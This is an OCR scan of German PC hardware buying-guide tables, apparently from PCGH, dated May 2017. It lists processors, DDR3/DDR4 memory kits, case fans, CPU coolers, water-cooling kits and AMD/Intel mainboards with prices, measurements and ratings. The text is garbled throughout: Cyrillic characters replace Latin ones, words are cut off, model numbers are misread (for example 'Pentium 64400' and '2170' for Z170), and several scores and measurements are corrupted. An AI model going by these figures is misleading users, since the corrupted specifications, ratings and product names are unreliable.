ntel Core i5-4690K | Са. € 250,- | 65,1 %/41,0 % | 18/256/229/123 4/4 HD 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,63 -*** | www.pcgh.de/preis/1119925 
ntel Core i5-6500 Ca. € 200,- | 63,6 %/40,4 % | 19/232/219/103 4/4 НО 530 3,2 GHz + Turbo | 14 пт |DDR4-2133 | 1151 2,74 | 03/2016 | www.pcgh.de/preis/1290386 
ntel Core i3-6100 Са. Є 110, | 57,2 %/29,8 % | 21/221/208/94 2d4 HD 530 3,7 GHz 14 пт | DDR4-2133 | 1151 2:95 -*** | www.pcgh.de/preis/1329935 
ntel Pentium G4560 | Ca. € 55,- 55,0 %/26,9 % | 19/210/201/99 20/4 НО 610 3,5 GHz 14 пт | DDR4-2400 | 1151 3,17 | 03/2017 | www.pcgh.de/preis/1558362 
ntel Pentium 64400 | Ca. € 55,- 26,1 %/20,0 % | 17/193/384/81 2d2 HD 510 3,3 GHz 14 пт | DDR4-2133 | 1151 BUB -*** | www.pcgh.de/preis/1329945 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/0 Spiele/O Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung MELT PCGH-Preisvergleich 
ТИЗ, G.Skill Trident X F3-1600C7D-16GTX Са. € 110,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 150,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Ca. € 140,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vol 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 120,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Са. € 120,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vo 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung MELT PCGH-Preisvergleich 
INEU Gaul Trident Z F4-3600C16D-16GTZKW Ca. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,4 cm | 1,35 Vo 1,72 07/2017 | www.pcgh.de/preis/1505578 
УМЕО? Teamgroup T-Force Xtreem | TXGD416G4000HC18EDC01 N. verfügbar | 2 x 8 GiByte DDR4-4000 | 18-20-20-44 | Single-Rank | 4,8 cm | 1,35 Vol 1,76 | 07/2017 | www.pcgh.de/preis/1593236 
"NEU Patrio Viper PV416G360C6K Са. € 200,- | 2 x 8 GiByte DDRA-3600 | 16-16-16-36 | Single-Rank | 4,1 cm | 1,35 Vo 1,80 | 07/2017 | www.pcgh.de/preis/1539744 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Ca. € 410,- | 4 x 8 GiByte DDRA-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
INEU скі Flare X F4-3200C14D-16GFX Са. € 190,- | 2 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,0 cm | 1,35 Vo 1,93 | 07/2017 | www.pcgh.de/preis/1590064 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 380,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R Са. € 380,- | 4 x 8 GiByte DDRA-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
INEU G.Skill Trident 2 RGB F4-3200C16Q-32GTZR Са. € 320,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-38 | Single-Rank | 4,4 cm | 1,35 Vo 2,14 | 07/2017 | www.pcgh.de/preis/1564347 
Ballistix Elite BLE4C4G4D32AEEA Ca. € 160,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 223 2/2016 | www.pcgh.de/preis/1464325 
МЕО Ballistix Tactical BLT2C8G4D30AETA Са. € 150,- |2 х 8 GiByte DDR4-3000 | 15-16-16-35 | Dual-Rank | 3,8 cm | 1,35 Vo 2,29 | 07/2017 | www.pcgh.de/preis/1464309 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 350,- | 2 x 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 2/2016 | www.pcgh.de/preis/1512560 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI Z170A Gaming M7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** Silber-rote Version 
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SERVICE | Einkaufsfüh 


rer 


Einkaufsführer Kühlung 


Preise: Stand 24.05.2017 


WELT ERPREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


120-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 

Blacknoise Eloop B12-PS Ca. € 18,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 

Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm _ 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 qumTM 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 

EKL Alpenfóhn Wing Boost 2 Blue N. verfüg. | 4-Pin PWM/84 cm 7-Volt-Molex-Adap. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 

Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone | 2,62 12/2016 | www.pcgh.de/preis/342339 

Arctic F12 PWM Са. Є 5,- | 4-Pin PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 

Be Quiet Silent Wings 2 PWM Ca. € 25,- | 4-Pin PWM/44 cm - 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 

Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 

Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm _ 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm - 1.200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 

Noctua NF-A14 FLX Ca. € 22,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 2:27) 01/2016 | www.pcgh.de/preis/870798 

Aerocool Dead Sil. White Edi. 140mm | Ca. € 20,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 

Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 

Fractal Design Venturi HP-14 PWM Ca. € 19,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 

Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 ТҮҢ 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone | 2,42 01/2016 | www.pcgh.de/preis/1170330 

Be Quiet Silent Wings 2 PWM Ca. € 26,- | 4-Pin PWM/45 cm _ 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 

Phanteks PH-F140SP N. verfüg. | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 Sone | 2,45 01/2016 | www.pcgh.de/preis/1112616 

Nanoxia Cool Force Ca.€8,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 www.pcgh.de/preis/1395404 ТТТ 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone | 2,65 01/2016 | www.pcgh.de/preis/1186749 

Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone | 2,72 01/2016 | www.pcgh.de/preis/681031 

Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm _ 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 

Be quiet Pure Wings 2 140mm Ca.€9,- |3-Pin/45 cm _ 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone | 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,319,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wármequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) | Wertung | Test in 
Noctua NH-D15 Ca. € 90,- 51 x 175 x 162 mm; 1312 g 50,8 *C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extreme Silent 14 Dual | Ca. € 80,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 2,11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Mugen 5 Са. € 44,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max.0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,14 01/2017 | www.pcgh.de/preis/1549393 
Scythe Fuma Са. € 43,- 38 x 149 x 131 mm; 923 g 52,0 *C (900 U/min) 48,5/50,8/56,2 °C 2,9/1,3/0,4 Sone 2,16 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Ca. € 60,- 55 x 161 x 151 mm; 1.1879 | 52,8 °С (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT N. verfüg. 50 х 162 x 148 mm; 1.1119 | Nicht mögl. (max.0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,23 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Са. € 45,- 42 х 173 х 129 mm; 877 g 52,2 *C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,25 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Ca. € 40,- 32 x 155 x 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,25 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Ca. € 38,- 52 x 162 x 128 mm; 823 g 52,1 *C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,26 04/2016 | www.pcgh.de/preis/1372274 
hermalright Silver Arrow ITX N. verfüg. 67 x 163 x 105 mm; 775 g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 227) 05/2016 | www.pcgh.de/preis/1209699 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,32 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 35,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,33 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 40,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca. € 41,- 50 x 165 x 68 mm; 633 g 54 *C (1.060 U/min) 52,2/55,4/63,9 °C 1,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca. € 40,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
EKL Alpenföhn Brocken Eco Са. € 32,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C 1,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Noctua NH-D15S Ca. € 80,- 49 x 163 x 134 mm; 1.153 g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,57 05/2016 | www.pcgh.de/preis/1271076 
Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C 1,5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 40,- 32 x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Ca. € 48,- 39 x 161 x 112 mm; 910g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca. € 39,- 28x 141 x 67 mm; 328 g 54,7 °C (1.310 U/min) 53,8/58,6/70,4 °C 1,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Arctic Freezer 132 Ca. € 25,- 24 x 150 x 74 mm; 659 g 53 °C (1.270 U/min) 53,0/58,3/67,3 °C 1,0/0,4/0,2 Sone** 2,71 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Shadow Rock Slim Ca. € 40,- 41 x 159 x 73 mm; 702 g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C 1,6/0,5/0,1 Sone 2,72 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C14S Ca. € 75,- 46 x 142 x 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 3,02 04/2016 | www.pcgh.de/preis/1271077 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 
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** Messung mit analoger Ansteuerung. Bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche. 
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Einkaufsführer Wasserkühlung & Mainboards нъ 


CENT RT PREIS-LEISTUNGS-TIPP LEINE ER SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ЙТ" PCGH-Preisvergleich 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 °C (1.020 U/min) 49,4/51,2/56,0 °C 3,9/1,9/0,6/0,1 Sone 1,73 08/2016 | www.pcgh.de/preis/758311939 
ILU Arctic Liquid Freezer 240 Са. € 75,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 47,9150,5/56,7 °C 2,5/1,0/0,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
Cooler Master Master Liquid 240 Ca.€85,- | 278 x 120 х 53 mm °C (1.320 U/min) 47,4/50,5/53,8 °C 3,9/1,6/0,4/0,1 Sone 1,81 07/2017 | www.pcgh.de/preis/1562099 
NZXT Kraken X62 Ca. € 150,- | 316 x 144 x 55 mm 43,6 *C (960 U/min) 43,2/45,7/52,8 *C 6,3/3,4/1,0/0,2 Sone 1,84 | 07/2017 | www.pcgh.de/preis/1526114 
Be Quiet Silent Loop 240 mm Ca. € 120,- | 275 x 123 x 55 mm 50,4 *C (1.230 U/min) 48,9/50,8/52,9 *C 4,3/2,0/0,5/0,1 Sone 1,87 07/2017 | www.pcgh.de/preis/1508159 
Fractal Design Celsius $24 Ca. € 110,- | 283 x 122 x 55 mm *C (1.100 U/min) 47,1/50,3/60,1 °C 4,6/2,1/0,7/0,1 Sone 1,99 07/2017 | www.pcgh.de/preis/1621894 
Fractal Design Celsius 536 Ca. € 120,- | 404 x 122 x 56 mm "T *C (1.020 U/min) 46,0/48,0/54,9 °C 5,3/2,8/0,9/0,1 Sone 2,04 07/2017 | www.pcgh.de/preis/1621923 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/0,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Ca.€80,- | 275 х 120 x 53 mm 53,3 °С (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/0,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80,- | 276 x 120 x 52 mm 51,7 °C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
Fractal Design Kelvin S24 Ca. € 100,- | 276 x 124 x 58 mm 52,7 °C (900 U/min) 51,1/53,3/57,2 °C 4,4/2,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 
Thermaltake Water 3.0 Extreme S Ca. € 110,- | 277 x 120 x 55 mm 50,1 °C (1.020 U/min) 47,7/51,1/59,2 °C 5,5/2,4/,6/0,4 Sone 2,43 06/2015 | www.pcgh.de/preis/1230429 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ВИ PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Са. € 270,- | 275 х 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit 5240 Са. € 200,- | 282 х 121 x 52 mm 49,2 °C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 | 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Ca. € 240,- | 287 x 128 x 65 mm 48,9 °C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 


Mainboards für AMD-Prozessoren 


Sockel AM4 Preis IOH/Format | PCI-E CPU (3.0) & ІОН (2.0) | M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asus Crosshair VI Hero Ca. € 250,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 51220 2/1x3.1; 8/2x3,0; 8x | 7 (7x PWM) 2,81 05/2017 | www.pcgh.de/preis/1582881 
Gigabyte AX370-Gam. 5 | Ca. € 200,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4x3,0; 8x | 8 (8x PWM) 2,82 05/2017 | www.pcgh.de/preis/1582173 
MSI X370 Xpower Titan. | Ca. € 280,- | X370/ATX x16*/x0* & x1/x1/x1/x0* 3.0x4; 2.0x4* | ALC1220 | 2/1x3.1; 4/4x3,0; 6x | 5 (5x PWM) 2:93 05/2017 | www.pcgh.de/preis/1580650 
Asrock X370 Killer SLI Ca. € 150,- | X370/ATX x16*/x0* & x1/x1/x1/x1 3.0x4; 2.0x2 ALC892 | 2/0x3.1; 6/4x3,0; 6x | 5 (5х PWM) 2,93 05/2017 | www.pcgh.de/preis/1582146 

ID y Asus Prime X370-pro Ca. € 150,- | X370/ATX x16*/x0* & x0*/x1/x0*/x4* |3.0x4 S1220A |2/1x3.1; 6/2x3,0; 8x | 6 (6x PWM) 2,95 05/2017 | www.pcgh.de/preis/1582178 
Asus Prime B350-Plus Ca.€90,- | B350/ATX x16 & x0*/x4*/x0* 3.0x4 ALC887 | 2/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) HAS 06/2017 | www.pcgh.de/preis/1582183 

I y Asrock AB350M Pro4 Са. € 80,- | B350/uATX | x16 & x1/x4 3.0x4; SATA** | ALC892 | 0/0x3.1; 5/2x3,0; 4х | 3 (2x PWM) 3,36 06/2017 | www.pcgh.de/preis/1582198 
Gigabyte AB350-Gam. 3 | Ca. € 110,- | B350/ATX x16 & х1/х/4*/х0*/х0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 5 (5х PWM) 3,39 06/2017 | www.pcgh.de/preis/1582168 
Biostar Racing B350GT5 | Ca. € 130,- | B350/ATX x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1; 4/2x3,0; 4х | 4 (4х PWM) 3,42 06/2017 | www.pcgh.de/preis/1579988 

* PCI-E-Lane-Sharing ** M.2 shared mit SATA *** M.2 shared mit SATA und mit PCI-E-Slot(s) 


Mainboards für Intel-Prozessoren 


Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asus Maximus VIII Ranger | Ca. € 170,- | 2170/АТХ x16*/x0* & x1/x1/x1/x4 3.0x4 ALC1150 | 2/0x3.1; 2/4х3,0; бх | 7 (7x PWM) 2,33 11/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Са. € 270,- | 2170/АТХ | x16*/x0* & x1/x1/x1/x1/x2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM) 2,34 10/2015 | www.pcgh.de/preis/1306329 
In y Msi 2270 Gam. Pro Carb. | Ca. € 170,- | Z270/ATX | x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2,37 02/2017 | www.pcgh.de/preis/1557471 
Asus Maximus IX Hero Ca. € 260,- | Z270/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
EVGA 2270 FTW K Ca. € 330,- | Z270/ATX | x16*/x0* & х4/х1/х1 3.0x4**: 3.0x4** | ALC1150 | 2/0x3.1; 6/4x3,0; 6x | 7 (7x PWM) 2,43 04/2017 | www.pcgh.de/preis/1561593 
EVGA 7170 Classified Ca. € 500,- | Z170/E-ATX | x16*/x0*/x0*/x0*/x0* & x4 3.0x4**: 3.0x1 Sound Core | 0/2x3.1; 6/2x3,0; 8x | 7 (7x PWM) 2,44 10/2015 | www.pcgh.de/preis/1306951 
Gigabyte Z270X-Gaming 7 | Ca. € 220,- | Z270/ATX x16*/x0* & x1/x1/x0*/x0* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
Super Micro C72270-CG N. verfüg. | 2270/ATX | x16*/x0*/x0* & х1/х1/х1 3.0x4; 3.0x4** ALC1150 | 4/0x3.1; 0/2x3,0; 6x | 5 (5x PWM) 2,49 04/2017 | www.pcgh.de/preis/1578717 
Asrock 7270 Gaming K6 | Ca. € 190,- | Z270/ATX x16*/x0* & x1/x1/x1/x4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (5x PWM) 252 02/2017 | www.pcgh.de/preis/1544856 
MSI 2170A Gaming M7 Ca. € 170,- | ZI70/ATX x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2x PWM) 2,53 10/2015 | www.pcgh.de/preis/1306689 
Gigabyte Z170X-Gam.3 | Ca. € 180,- | Z170/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1150 | 2/0x3.1; 3/4x3,0; 6x | 5 (1x PWM) 2,55 11/2015 | www.pcgh.de/preis/1306467 
Asrock 7170 Gaming K4 | Ca. € 120,- | Z170/ATX x16 & x1/x1/x4/x 1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2x PWM) 2,58 11/2015 | www.pcgh.de/preis/1306625 
Supermicro С72170-50 Ca. € 220,- | 2170/АТХ x16*/x0*/x0* & x1/x4/x1 3.0x4 ALC898 1/0x3.1; 2/4x3,0; 6x | 5 (5x PWM) 2,77 10/2015 | www.pcgh.de/preis/1307677 
Biostar 2270GT6 Ca. € 210,- | Z270/ATX x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (bx PWM) 2,77 04/2017 | www.pcgh.de/preis/1558351 
MSI H170A PC Mate Ca. € 110,- | H170/ATX x16 & x0*/x0*/x0*/x4* 3.0x4** ALC887 2/0x3.1; 4/2x3,0; 6x | 4 (2х PWM) 3,11 08/2016 | www.pcgh.de/preis/1319556 
